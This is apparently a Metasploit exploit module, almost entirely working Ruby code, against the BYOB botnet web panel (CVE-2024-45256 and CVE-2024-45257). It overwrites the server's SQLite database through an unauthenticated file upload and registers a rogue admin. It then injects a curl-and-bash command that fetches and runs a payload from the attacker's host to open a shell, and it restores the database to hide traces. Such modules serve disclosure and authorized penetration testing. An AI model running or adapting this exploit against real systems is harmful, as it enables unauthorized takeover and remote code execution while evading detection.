BYOB Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require ‘sqlite3’
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)’,
‘Description’ => %q{
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
2. CVE-2024-45257: Authenticated command injection in the payload generation page.
These vulnerabilities remain unpatched.
},
‘Author’ => [
‘chebuya’, # Discoverer and PoC
‘Valentin Lobstein’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2024-45256’],
[‘CVE’, ‘2024-45257’],
[‘URL’, ‘https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/’]],
‘Platform’ => %w[unix linux],
‘Arch’ => %w[ARCH_CMD],
‘Targets’ => [
[
‘Unix/Linux Command Shell’, {
‘Platform’ => %w[unix linux],
‘Arch’ => ARCH_CMD,
‘Privileged’ => true
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]],
‘DisclosureDate’ => ‘2024-08-15’,
‘DefaultTarget’ => 0,
‘DefaultOptions’ => { ‘SRVPORT’ => 5000 },
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘SideEffects’ => [IOC_IN_LOGS],
‘Reliability’ => [REPEATABLE_SESSION]}
)
)
register_options(
[
OptString.new(‘USERNAME’, [false, ‘Username for new admin’, ‘admin’]),
OptString.new(‘PASSWORD’, [false, ‘Password for new admin’, nil])
])
end
def primer
add_resource(‘Path’ => ‘/’, ‘Proc’ => proc { |cli, req| on_request_uri_payload(cli, req) })
print_status(‘Payload is ready at /’)
end
def on_request_uri_payload(cli, request)
handle_request(cli, request, payload.encoded)
end
def handle_request(cli, request, response_payload)
print_status(“Received request at: #{request.uri} – Client Address: #{cli.peerhost}”)
case request.uri
when ‘/’
print_status(“Sending response to #{cli.peerhost} for /”)
send_response(cli, response_payload)
else
print_error(“Request for unknown resource: #{request.uri}”)
send_not_found(cli)
end
end
def check
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path),
‘keep_cookies’ => true
})
if res
doc = res.get_html_document
unless doc.at(‘title’)&.text&.include?(‘Build Your Own Botnet’) || doc.at(‘meta[name=”description”]’)&.attr(‘content’)&.include?(‘Build Your Own Botnet’)
return CheckCode::Safe(‘The target does not appear to be BYOB.’)
end
else
return CheckCode::Unknown(‘The target did not respond to the initial check.’)
end
print_good(‘The target appears to be BYOB.’)
random_data = Rex::Text.rand_text_alphanumeric(32)
random_filename = Rex::Text.rand_text_alphanumeric(16)
random_owner = Rex::Text.rand_text_alphanumeric(8)
random_module = Rex::Text.rand_text_alphanumeric(6)
random_session = Rex::Text.rand_text_alphanumeric(6)
form_data = {
‘data’ => random_data,
‘filename’ => random_filename,
‘type’ => ‘txt’,
‘owner’ => random_owner,
‘module’ => random_module,
‘session’ => random_session
}
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘file’, ‘add’),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => form_data,
‘keep_cookies’ => true
})
if res&.code == 500
return CheckCode::Vulnerable
else
case res&.code
when 200
return CheckCode::Safe
when nil
return CheckCode::Unknown(‘The target did not respond.’)
else
return CheckCode::Unknown(“The target responded with HTTP status #{res.code}”)
end
end
end
def get_csrf(path)
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, path),
‘keep_cookies’ => true
})
fail_with(Failure::UnexpectedReply, ‘Could not retrieve CSRF token’) unless res
csrf_token = res.get_html_document.at_xpath(“//input[@name=’csrf_token’]/@value”)&.text
fail_with(Failure::UnexpectedReply, ‘CSRF token not found’) if csrf_token.nil?
csrf_token
end
def register_user(username, password)
csrf_token = get_csrf(‘register’)
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘register’),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => {
‘csrf_token’ => csrf_token,
‘username’ => username,
‘password’ => password,
‘confirm_password’ => password,
‘submit’ => ‘Sign Up’
},
‘keep_cookies’ => true
})
if res.nil?
fail_with(Failure::UnexpectedReply, ‘No response from the server.’)
elsif res.code == 302
print_good(‘Registered user!’)
else
fail_with(Failure::UnexpectedReply, “User registration failed: #{res.code}”)
end
end
def login_user(username, password)
csrf_token = get_csrf(‘login’)
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘login’),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => {
‘csrf_token’ => csrf_token,
‘username’ => username,
‘password’ => password,
‘submit’ => ‘Log In’
},
‘keep_cookies’ => true
})
if res.nil?
fail_with(Failure::UnexpectedReply, ‘No response from the server.’)
elsif res.code == 302
print_good(‘Logged in successfully!’)
else
fail_with(Failure::UnexpectedReply, “Login failed: #{res.code}”)
end
end
def generate_malicious_db
mem_db = SQLite3::Database.new(‘:memory:’)
mem_db.execute <<-SQL
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(32) NOT NULL,
password VARCHAR(60) NOT NULL,
joined DATETIME NOT NULL,
bots INTEGER,
PRIMARY KEY (id),
UNIQUE (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE session (
id INTEGER NOT NULL,
uid VARCHAR(32) NOT NULL,
online BOOLEAN NOT NULL,
joined DATETIME NOT NULL,
last_online DATETIME NOT NULL,
public_ip VARCHAR(42),
local_ip VARCHAR(42),
mac_address VARCHAR(17),
username VARCHAR(32),
administrator BOOLEAN,
platform VARCHAR(5),
device VARCHAR(32),
architecture VARCHAR(2),
latitude FLOAT,
longitude FLOAT,
new BOOLEAN NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (uid),
UNIQUE (uid),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE payload (
id INTEGER NOT NULL,
filename VARCHAR(34) NOT NULL,
operating_system VARCHAR(3),
architecture VARCHAR(14),
created DATETIME NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (id),
UNIQUE (filename),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE exfiltrated_file (
id INTEGER NOT NULL,
filename VARCHAR(4096) NOT NULL,
session VARCHAR(15) NOT NULL,
module VARCHAR(15) NOT NULL,
created DATETIME NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (id),
UNIQUE (filename),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE task (
id INTEGER NOT NULL,
uid VARCHAR(32) NOT NULL,
task TEXT,
result TEXT,
issued DATETIME NOT NULL,
completed DATETIME,
session VARCHAR(32) NOT NULL,
PRIMARY KEY (id),
UNIQUE (uid),
FOREIGN KEY(session) REFERENCES session (uid)
);
SQL
base64_data = Tempfile.open(‘database.db’) do |file|
src_db = SQLite3::Database.new(file.path)
backup = SQLite3::Backup.new(src_db, ‘main’, mem_db, ‘main’)
backup.step(-1)
backup.finish
binary_data = File.binread(file.path)
Rex::Text.encode_base64(binary_data)
end
base64_data
end
def upload_database_multiple_paths
successful_paths = []filepaths = [
‘/proc/self/cwd/buildyourownbotnet/database.db’,
‘/proc/self/cwd/../buildyourownbotnet/database.db’,
‘/proc/self/cwd/../../../../buildyourownbotnet/database.db’,
‘/proc/self/cwd/instance/database.db’,
‘/proc/self/cwd/../../../../instance/database.db’,
‘/proc/self/cwd/../instance/database.db’
]
filepaths.each do |filepath|
form_data = {
‘data’ => @encoded_db,
‘filename’ => filepath,
‘type’ => ‘txt’,
‘owner’ => Faker::Internet.username,
‘module’ => Faker::App.name.downcase,
‘session’ => Faker::Alphanumeric.alphanumeric(number: 8)
}
res = send_request_cgi(
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘file’, ‘add’),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => form_data,
‘keep_cookies’ => true
)
successful_paths << filepath if res&.code == 200
end
successful_paths
end
def on_new_session(session)
if session.type == ‘meterpreter’
binary_content = Rex::Text.decode_base64(@encoded_db)
print_status(‘Restoring the database via Meterpreter to avoid leaving traces.’)
successful_restore = false
@successful_paths.each do |remote_path|
remote_file = session.fs.file.new(remote_path, ‘wb’)
remote_file.syswrite(binary_content)
remote_file.close
successful_restore = true
end
if successful_restore
print_good(‘Database has been successfully restored to its clean state.’)
else
print_error(‘Failed to restore the database on all attempted paths, but proceeding with the exploitation.’)
end
else
print_error(‘This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.’)
end
end
def exploit
# Start necessary services and perform initial setup
start_service
primer
# Define or generate admin credentials
username = datastore[‘USERNAME’] || ‘admin’
password = datastore[‘PASSWORD’] || Rex::Text.rand_text_alphanumeric(12)
# Generate and upload the malicious SQLite database
print_status(‘Generating malicious SQLite database.’)
@encoded_db = generate_malicious_db
@successful_paths = upload_database_multiple_paths
if @successful_paths.empty?
fail_with(Failure::UnexpectedReply, ‘Failed to upload the database from all known paths’)
else
print_good(“Malicious database uploaded successfully to the following paths: #{@successful_paths.join(‘, ‘)}”)
end
# Register the new admin user
print_status(“Registering a new admin user: #{username}:#{password}”)
register_user(username, password)
# Log in with the newly created admin user
print_status(‘Logging in with the new admin user.’)
login_user(username, password)
# Prepare the malicious payload and inject it via command injection
print_status(‘Injecting payload via command injection.’)
uri = get_uri.gsub(%r{^https?://}, ”).chomp(‘/’)
random_filename = “.#{Rex::Text.rand_text_alphanumeric(rand(3..5))}”
malicious_filename = “curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}”
payload_data = {
‘format’ => ‘exe’,
‘operating_system’ => “nix$(#{malicious_filename})”,
‘architecture’ => ‘amd64’
}
# Send the command injection request
send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘payload’, ‘generate’),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => payload_data,
‘keep_cookies’ => true
}, 5)
# Keep the web server running to maintain the service
service.wait
end
end